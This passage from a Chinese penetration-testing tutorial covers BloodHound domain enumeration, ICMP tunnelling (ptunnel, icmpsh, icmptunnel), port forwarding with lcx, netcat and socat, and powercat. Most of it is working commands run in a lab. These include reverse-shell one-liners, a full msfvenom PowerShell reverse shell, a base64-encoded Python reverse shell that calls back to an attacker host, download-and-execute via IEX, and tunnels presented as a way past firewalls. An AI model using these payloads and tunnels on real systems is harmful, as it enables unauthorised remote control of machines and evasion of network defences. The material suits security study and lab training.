五、BloodHound 的使用
1、介绍
BloodHound 使用可视化图形显示域环境中的关系,攻击者可以使用 BloodHound 识别高度复杂的攻击路径,防御者可以使用 BloodHound 来识别和防御那些相同的攻击路径。蓝队和红队都可以使用 BloodHound 轻松深入域环境中的权限关系。
BloodHound 通过在域内导出相关信息,在将数据收集后,将其导入Neo4j 数据库中,进行展示分析。因此在安装 BloodHound 时,需要安装 Neo4j 数据库。
2、安装
因为 Neo4j 数据库需要 Java 支持,因此安装 BloodHound 需要先安装 Java,这里以 Windows 系统下的安装为例。
Java
JDK 需要下载最新版本,不然 Neo4j 运行可能会报错,JDK 下载地址: ,下载之后,直接安装即可。
Neo4j
Neo4j 直接下载最新版本,下载地址:
下载最新版本之后解压下载文件,打开 bin 目录,执行命令neo4j.bat console
,之后打开浏览器访问 登陆后台,输入以下信息连接到数据库说明安装就完成了。
Copy URL:neo4j://localhost:7687
用户名(默认):neo4j
密码(默认):neo4j
BloodHound
3、使用
这里使用 SharpHound.exe 进行数据的采集,将 SharpHound.exe 拷贝到目标上,执行 SharpHound.exe -c all
进行数据采集。
Copy C:\Users\daniel10>SharpHound.exe -c all
---------------------------------------------
Initializing SharpHound at 22:36 on 2021/2/25
---------------------------------------------
Resolved Collection Methods: Group, Sessions, LoggedOn, Trusts, ACL, ObjectProps, LocalGroups, SPNTargets, Container
[+] Creating Schema map for domain TEAMSSIX.COM using path CN=Schema,CN=Configuration,DC=teamssix,DC=com
[+] Cache File Found! Loaded 1332 Objects in cache
[+] Pre-populating Domain Controller SIDS
Status: 0 objects finished (+0) -- Using 24 MB RAM
Status: 673 objects finished (+673 134.6)/s -- Using 43 MB RAM
Enumeration finished in 00:00:05.3136324
Compressing data to .\20210225223622_BloodHound.zip
You can upload this file directly to the UI
SharpHound Enumeration Completed at 22:36 on 2021/2/25! Happy Graphing!
如果使用 ps1 脚本收集,命令为:
Copy powershell -exec bypass -command "Import-Module ./SharpHound.ps1; Invoke-BloodHound -c all"
采集到的数据会以 zip 压缩包的格式保存,将其拷贝到 BloodHound 所在主机上,在 BloodHound 右侧图标里点击 Upload Data,之后上传刚才生成的压缩包就可以导入数据了。
或者直接将 zip 压缩包拖拽到 BloodHound 里也可以导入数据。
在 BloodHound 右上角有三个板块:
1、Database Info(数据库信息),可以查看当前数据库中的域用户、域计算机等统计信息。
2、Node Indo(节点信息),单击某个节点时,在这里可以看到对应节点的相关信息。
3、Analysis(分析查询),在 BloodHound 中预设了一些查询条件,具体如下:
Copy 1、查询所有域管理员
2、寻找到域管理员的最短路径
3、查找具有DCSync权限的主体
4、具有外部域组成员资格的用户
5、具有外部域名组成员资格的组
6、映射域信任
7、到无约束委托系统的最短路径
8、到达Kerberoastable用户的最短路径
9、从Kerberoastable用户到域管理员的最短路径
10、拥有的主体的最短路径
11、从拥有的主体到域管理员的最短路径
12、到高价值目标的最短路径
13、查找域用户是本地管理员的计算机
14、查找域用户可以读取密码的计算机
15、从域用户到高价值目标的最短路径
16、找到从域用户到高价值目标的所有路径
17、找到域用户可以RDP的工作站
18、找到域用户可以RDP的服务器
19、查找域用户组的危险权限
20、找到高价值群体中能够支持kerberoable的成员
21、列出所有kerberoable用户
22、查找具有大多数特权的Kerberoastable用户
23、查找到非域控制器的域管理登录
24、查找不支持操作系统的计算机
25、查找AS-REP Roastable用户(DontReqPreAuth)
比如这里查询到域管理员的最短路径
路径由粗到细表示xx对xx有权限或关系
总的来说感觉 BloodHound 还是挺有意思的,可以很直观的看到域内主机间的关系。不过毕竟是辅助工具,还是需要不断提升自己的实力、经验才能更好的去分析这样的一个结果才是。
参考链接:
六、ICMP隧道工具使用
1、介绍
在内网中,如果攻击者使用 HTTP、DNS 等应用层隧道都失败了,那么或许可以试试网络层的 ICMP 隧道,ICMP 协议最常见的场景就是使用 ping 命令,而且一般防火墙都不会禁止 ping 数据包。
因此我们便可以将 TCP/UDP 数据封装到 ICMP 的 ping 数据包中,从而绕过防火墙的限制。
2、建立 ICMP 隧道工具
用于建立 ICMP 隧道的工具常见有:ptunnel、icmpsh、icmptunnel 等
ptunnel
ptunnel 全称 PingTunnel,Kali 下自带该工具,Linux 下安装过程如下:
Copy yum -y install byacc
yum -y install flex bison
#安装libpcap依赖库
wget http://www.tcpdump.org/release/libpcap-1.9.0.tar.gz
tar -xzvf libpcap-1.9.0.tar.gz
cd libpcap-1.9.0
./configure
make && make install
#安装PingTunnel
wget http://www.cs.uit.no/~daniels/PingTunnel/PingTunnel-0.72.tar.gz
tar -xzvf PingTunnel-0.72.tar.gz
cd PingTunnel
make && make install
ptunnel 常用命令介绍:
Copy -p: 指定跳板服务器 IP 地址
-lp: 监听本地 TCP 端口
-da: 指定访问目标的内网 IP 地址
-dp: 指定访问目标的端口
-m: 设置隧道最大并发数
-v: 输入内容详细级别(-1到4,其中-1为无输出,4为全部输出)
-udp: 切换使用UDP代替ICMP,代理将监听端口53(必须是 root 权限)
-x: 设置隧道密码,防止滥用(客户端和代理端必须相同)
目前有这样的一个场景,当前已经拿下了一台外网 Web Linux 服务器,想通过它利用 ICMP 协议连接内网的一台已经开启远程桌面的 Windows ,网络结构简化如下。
Copy Kali 攻击机 172.16.214.6 (外网)
|
|
Linux Web 跳板机 172.16.214.5 (外网)
| 192.168.7.5 (内网)
|
|
Win RDP 目标机 192.168.7.110 (内网)
在 Kali 攻击机上执行以下命令
Copy ptunnel -p 172.16.214.5 -lp 1080 -da 192.168.7.110 -dp 3389 -x teamssix
Copy -p 指定跳板机外网IP
-lp 指定本机的监听端口
-da 指定目标机的内网IP
-dp 指定目标机的端口
-x 设置隧道密码
在 Linux Web 跳板机上执行以下命令
之后访问 Kali 攻击机 172.16.214.6 的 1080 端口就会连接到 Win RDP 目标机 192.168.7.110 的 3389 端口了,不过实测发现这种方法有些不稳定。
icmpsh
icmpsh 使用很简单,直接在 github 上下载,运行时不需要管理员权限,但是在使用时需要关闭本地系统的 ICMP 应答,不然 shell 的运行会不稳定。
Copy git clone https://github.com/inquisb/icmpsh.git #下载工具
apt-get install python-impacket # 安装依赖,或者 pip2 install impacket
sysctl -w net.ipv4.icmp_echo_ignore_all=1 #关闭本地ICMP应答
icmpsh 常用命令介绍:
Copy -t host 发送ping请求的主机ip地址,即攻击机的IP [该命令必须存在]
-d milliseconds 请求时间间隔(毫秒)
-o milliseconds 响应超时时间(毫秒)
-s bytes 最大数据缓冲区大小(字节)
目前有这样的一个场景,攻击机能通过 ICMP 协议访问到目标主机,但是目标上有防火墙,拒绝了敏感端口比如 22、3389 端口的访问,这个时候可以使用 icmpsh 利用 ICMP 协议建立反向 shell
Copy 攻击机 IP:172.16.214.6
目标机 IP:172.16.214.2
在攻击机上运行:
Copy python2 icmpsh_m.py 172.16.214.6 172.16.214.2
在目标机上运行
Copy ./icmpsh.exe -t 172.16.214.6
此时在攻击机上可以看到通过 icmp 协议建立的 shell
icmptunnel
icmptunnel 的优势在于可以穿过状态防火墙或 NAT,同样在 github 上进行下载,值得注意的是该工具只有 Linux 版。
Copy git clone https://github.com/jamesbarlow/icmptunnel.git
cd icmptunnel
make
目前有这样的一个场景,攻击者为 Linux,但由于目标存在状态防火墙或者使用了 NAT 导致无法获得 shell,此时可以通过 icmptunnel 绕过限制。
Copy 攻击机 IP:172.16.214.6
目标机 IP:172.16.214.5
在攻击机上运行:
Copy echo 1 > /proc/sys/net/ipv4/icmp_echo_ignore_all # 禁用 ICMP echo 回复,防止内核自己对ping包进行响应
./icmptunnel -s # 开启服务端模式
在攻击机上新开启一个终端运行:
Copy /sbin/ifconfig tun0 10.0.0.1 netmask 255.255.255.0 # 指定一个网卡tun0,用于给隧道服务器端分配一个IP地址 (10.0.0.1)
在目标机上运行:
Copy echo 1 > /proc/sys/net/ipv4/icmp_echo_ignore_all
./icmptunnel 172.16.214.6
在目标机上新开启一个终端运行:
Copy /sbin/ifconfig tun0 10.0.0.2 netmask 255.255.255.0 # 指定一个网卡tun0,用于给隧道服务器端分配一个IP地址 (10.0.0.2)
至此,已经通过 ICMP 建立了一个点对点隧道。
在攻击机上,尝试通过 ssh 进行连接,可以看到通过刚才建立的隧道成功连接到目标机。
参考链接:
七、lcx、netcat和socat的使用
1、lcx 使用
lcx 分为 Windows 版和 Linux 版,Linux 版叫 portmap
Windows
Copy 内网失陷主机
lcx.exe -slave rhost rport lhost lport
公网代理主机
lcx.exe -listen lport1 lport2
Copy 内网失陷主机
lcx.exe -slave 123.123.123.123 4444 127.0.0.1 3389
公网代理主机
lcx.exe -listen 4444 5555
在建立连接后,访问公网代理主机的 5555 端口就能访问到内网失陷主机的 3389 端口了。
如果目标主机不能出网,这时可以利用内网中能够出网的主机,将其不能出网的主机端口映射到自身上,再借助端口转发到公网进行访问。
Copy lcx.exe -tran 53 <目标主机 IP 地址> 3389
Linux
Copy 内网失陷主机
./portmap -m 3 -h1 127.0.0.1 -p1 22 -h2 <公网主机 IP> -p2 4444
公网代理主机
./portmap -m 2 -p1 4444 -h2 <公网主机 IP> -p2 5555
此时访问公网主机 IP 的 5555 端口,就会访问到内网失陷主机的 22 端口了。
2、netcat 使用
nc 全称 netcat,它的功能很多,这里简单记录下两个常用的功能,其他的比如文件传输、端口扫描等等的就不介绍了,毕竟平时使用频率有一说一还是比较少的。
Copy -l 开启监听状态
-v 显示详细信息
-p 指定监听的本地端口
-k 客户端断掉连接时,服务端依然保持运行
-e 将传入的信息以命令执行
-n 直接使用 IP 地址,不进行 dns 解析过程
获取 banner 信息
个人觉着最常用的功能,这个不仅可以用来查看 banner 信息,还能用来判断端口是否开放。
Copy > nc -v 172.16.214.43 22
Connection to 172.16.214.43 port 22 [tcp/ssh] succeeded!
SSH-2.0-OpenSSH_8.4p1 Debian-3
反弹shell
个人觉着这个也是最常用的功能,可以使用 -e 指定 /bin/bash 进行反弹,也可以直接 -c 指定 bash 或者 cmd
-e 指定反弹 shell
Copy # 失陷主机
> nc -lvp 4444 -e /bin/bash
listening on [any] 4444 ...
172.16.214.1: inverse host lookup failed: Unknown host
connect to [172.16.214.43] from (UNKNOWN) [172.16.214.1] 60628
# 控制端
> nc -v 172.16.214.43 4444
Connection to 172.16.214.43 port 4444 [tcp/krb524] succeeded!
whoami
root
-c 指定反弹 shell
Copy # 失陷主机
nc -lvp lprot -c bash # linux 主机
nc -lvp lport -c cmd # windows 主机
# 控制端
nc rhost rport
Copy # 失陷主机
> nc -lvp 4444 -c bash
listening on [any] 4444 ...
172.16.214.1: inverse host lookup failed: Unknown host
connect to [172.16.214.43] from (UNKNOWN) [172.16.214.1] 60635
# 控制端
> nc -v 172.16.214.43 4444
Connection to 172.16.214.43 port 4444 [tcp/krb524] succeeded!
whoami
root
结合其他语言进行反弹 shell
Copy # 失陷主机
bash -i >& /dev/tcp/rhost/rport 0>&1
# 控制端
nc -lvp lprot
Copy # 失陷主机
> bash -i >& /dev/tcp/172.16.214.43/4444 0>&1
# 控制端
> nc -lp 4444
root@ubuntu:~# whoami
whoami
root
除了 bash 也可以使用其他的语言进行反弹 shell,这里可以使用 msfvenom 生成反弹 shell,操作起来比较方便,使用 msfvenom -l payload | grep "cmd/"
可查看可使用的 payload
比如使用 cmd/windows/reverse_powershell
这个 payload
Copy # 控制端
> msfvenom -p cmd/windows/reverse_powershell lhost=172.16.214.43 lport=4444
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: cmd from the payload
No encoder specified, outputting raw payload
Payload size: 1586 bytes
powershell -w hidden -nop -c $a='172.16.214.43';$b=4444;$c=New-Object system.net.sockets.tcpclient;$nb=New-Object System.Byte[] $c.ReceiveBufferSize;$ob=New-Object System.Byte[] 65536;$eb=New-Object System.Byte[] 65536;$e=new-object System.Text.UTF8Encoding;$p=New-Object System.Diagnostics.Process;$p.StartInfo.FileName='cmd.exe';$p.StartInfo.RedirectStandardInput=1;$p.StartInfo.RedirectStandardOutput=1;$p.StartInfo.RedirectStandardError=1;$p.StartInfo.UseShellExecute=0;$q=$p.Start();$is=$p.StandardInput;$os=$p.StandardOutput;$es=$p.StandardError;$osread=$os.BaseStream.BeginRead($ob, 0, $ob.Length, $null, $null);$esread=$es.BaseStream.BeginRead($eb, 0, $eb.Length, $null, $null);$c.connect($a,$b);$s=$c.GetStream();while ($true) { start-sleep -m 100; if ($osread.IsCompleted -and $osread.Result -ne 0) { $r=$os.BaseStream.EndRead($osread); $s.Write($ob,0,$r); $s.Flush(); $osread=$os.BaseStream.BeginRead($ob, 0, $ob.Length, $null, $null); } if ($esread.IsCompleted -and $esread.Result -ne 0) { $r=$es.BaseStream.EndRead($esread); $s.Write($eb,0,$r); $s.Flush(); $esread=$es.BaseStream.BeginRead($eb, 0, $eb.Length, $null, $null); } if ($s.DataAvailable) { $r=$s.Read($nb,0,$nb.Length); if ($r -lt 1) { break; } else { $str=$e.GetString($nb,0,$r); $is.write($str); } } if ($c.Connected -ne $true -or ($c.Client.Poll(1,[System.Net.Sockets.SelectMode]::SelectRead) -and $c.Client.Available -eq 0)) { break; } if ($p.ExitCode -ne $null) { break; }}
> nc -lvp 4444
将生成的 payload 复制到失陷主机上运行,即可收到反弹回的 shell
再比如使用 cmd/unix/reverse_python
这个payload
Copy # 控制端
> msfvenom -p cmd/unix/reverse_python lhost=172.16.214.43 lport=4444
[-] No platform was selected, choosing Msf::Module::Platform::Unix from the payload
[-] No arch selected, selecting arch: cmd from the payload
No encoder specified, outputting raw payload
Payload size: 505 bytes
python -c "exec(__import__('base64').b64decode(__import__('codecs').getencoder('utf-8')('aW1wb3J0IHNvY2tldCAgICwgc3VicHJvY2VzcyAgICwgb3M7ICAgICAgaG9zdD0iMTcyLjE2LjIxNC40MyI7ICAgICAgcG9ydD00NDQ0OyAgICAgIHM9c29ja2V0LnNvY2tldChzb2NrZXQuQUZfSU5FVCAgICwgc29ja2V0LlNPQ0tfU1RSRUFNKTsgICAgICBzLmNvbm5lY3QoKGhvc3QgICAsIHBvcnQpKTsgICAgICBvcy5kdXAyKHMuZmlsZW5vKCkgICAsIDApOyAgICAgIG9zLmR1cDIocy5maWxlbm8oKSAgICwgMSk7ICAgICAgb3MuZHVwMihzLmZpbGVubygpICAgLCAyKTsgICAgICBwPXN1YnByb2Nlc3MuY2FsbCgiL2Jpbi9iYXNoIik=')[0]))"
> nc -lvp 4444
同样将生成的 payload 复制到失陷主机上运行,即可收到反弹回来的 shell,当然前提是目标主机安装了 python
3、socat 使用
socat 全称 socket cat,可以视为 nc 的加强版,不过平时感觉 nc 也够用了,但是 nc 现在貌似会被杀软杀掉,而且貌似 nc 很久没更新了,反正多掌握点知识没坏处。
文件操作
读取文件
Copy > socat - ./test.txt # 相对路径读取
test
> socat - /tmp/test.txt # 绝对路径读取
test
写入文件
Copy > echo "hello world" | socat - ./test.txt
> socat - ./test.txt
test
hello world
网络操作
连接远程端口
Copy > socat - TCP:172.16.214.1:22
SSH-2.0-OpenSSH_7.4
监听端口
Copy socat - TCP-LISTEN:8002
端口转发
转发 TCP 端口
个人觉着这个是比较常用到的功能,在使用 CS 做重定向器时,就可以使用 socat 进行端口的转发。
Copy socat TCP4-LISTEN:80,fork TCP4:123.123.123.123:80
这样在访问当前主机的 80 端口时,就会访问到 123.123.123.123 的 80 端口了,也可以使用 -d 调整输出信息的详细程度,最多使用四个 d,推荐使用两个,即 -dd
Copy socat -dd TCP4-LISTEN:80,fork TCP4:123.123.123.123:80
转发 UDP 端口
和上面一样,将 TCP 改成 UDP 即可
Copy socat UDP4-LISTEN:80,fork UDP4:123.123.123.123:80
NAT 映射
通过 socat 可以将内网端口映射到公网上,不过这种场景还是更推荐用 frp
Copy # 内网主机
socat tcp:123.123.123.123:4444 tcp:127.0.0.1:3389
# 公网主机
socat tcp-listen:4444 tcp-listen:5555
此时访问公网主机的 5555 端口就可以访问到内网主机的 3389 端口了
考虑到 socat 的其他功能平时也很少使用到,这里就不过多介绍了,网上相关文章也有很多,在此就不赘述了。
参考链接:
八、powercat 的使用
1、下载安装 powercat
powercat 可以视为 nc 的 powershell 版本,因此也可以和 nc 进行连接。
下载下来 powercat.ps1 文件后,直接导入即可
Copy Import-Module .\powercat.ps1
Copy Set-ExecutionPolicy Unrestricted
之后就可以导入 powercat 了,导入成功后,输入 powercat -h 可以看到帮助信息。
如果没有权限,也可以直接下载远程文件进行绕过。
Copy IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1')
不过由于 github 在国内可能会无法打开,因此可以使用 web 代理站点或者把 powercat.ps1 文件放到自己的服务器上进行下载。
2、powercat 的使用
powercat 命令参数
Copy -l 监听模式
-p 指定监听端口
-e 指定启动进程的名称
-v 显示详情
-c 指定想要连接的 IP 地址
-ep 返回 powershell
-dns 使用 dns 通信
-g 生成 payload
-ge 生成经过编码的 payload,可以直接使用 powershell -e 执行该 payload
可以看到和 nc 的命令还是很相似的。
正向连接
Kali 上的 nc 连接到靶机
Copy nc -v 172.16.214.21 4444
靶机开启监听,等待 Kali 连接
Copy powercat -l -v -p lport -e cmd.exe
Copy powercat -l -v -p 4444 -e cmd.exe
反向连接
Kali 上开启监听
靶机向 kali 发起连接
Copy powercat -c rhost -p rport -e cmd.exe
Copy powercat -c 172.16.214.46 -p 4444 -e cmd.exe
返回 powershell
攻击机上运行
Copy powercat -l -v -p lport
Copy powercat -l -v -p 4444
靶机上运行
Copy powercat -c rhost -p rport -v -ep
Copy powercat -c 172.16.214.21 -p 4444 -v -ep
作为跳板使用
测试环境为:
Copy kali 172.16.214.47
windows7 172.16.214.2
windows10 172.16.214.21
将 win7 作为跳板机,让 kali 通过 win7 连接到 windows10
在 win10 中执行以下命令
Copy powercat -l -v -p 4444 -e cmd.exe
在 win7 中执行以下命令
Copy powercat -l -v -p 5555 -r tcp:172.16.214.21:4444
最后在 kali 下连接 win7
Copy nc -v 172.16.214.2 5555
powercat 生成 payload
在攻击机上运行以下命令生成 shell.ps1 payload 文件
Copy powercat -l -p 4444 -e cmd -g > shell.ps1
将 shell.ps1 文件拷贝到目标主机上后,执行 shell.ps1 文件
之后在攻击机上运行以下命令即可获得 shell
Copy powercat -c rhost -p rport -v
Copy powercat -c 172.16.214.21 -p 4444 -v
反向连接也可以
在攻击机上生成 ps1 文件,并开启监听
Copy powercat -c rhost -p rport -ep -g > shell.ps1
Copy powercat -c 172.16.214.2 -p 4444 -ep -g > shell.ps1
Copy powercat -l -p 4444 -v
之后在靶机上,运行 ps1 文件就会上线了,如果不想生成文件,也可以使用 -ge 生成经过编码的 payload
在攻击机上生成 payload,并开启监听
Copy powercat -c 172.16.214.2 -p 4444 -ep -ge
Copy powercat -l -p 4444 -v
在靶机上执行刚生成的 payload
Copy powershell -e payload
建立 dns 隧道连接
powercat 的 dns 隧道是基于 dnscat 设计的,因此在服务端需要使用 dnscat 连接。
在服务端上安装 dnscat ,以 kali 为例
Copy git clone https://github.com/iagox86/dnscat2.git
cd dnscat2/server/
gem install bundler
bundle install
命令运行完之后,执行以下命令开启服务端
Copy ruby dnscat2.rb powercat -e open --no-cache
在靶机下,执行以下命令,建立 dns 隧道
Copy powercat -c 172.16.214.47 -p 53 -dns powercat -e cmd.exe
此时,在 kali 上就能看到回连的会话了
Copy sessions # 查看所有会话
session -i 1 # 选择指定的会话进行交互
不过实测,虽然能返回会话,但不能执行命令,暂不清楚原因是什么。
powercat 暂时就记录这些,其他的比如文件传输什么的就不记了,毕竟使用频率几乎为零,平时使用最多的可能还是拿它来反弹 shell,不过为什么不用 CS 或者 MSF 呢,不更香嘛。
参考链接: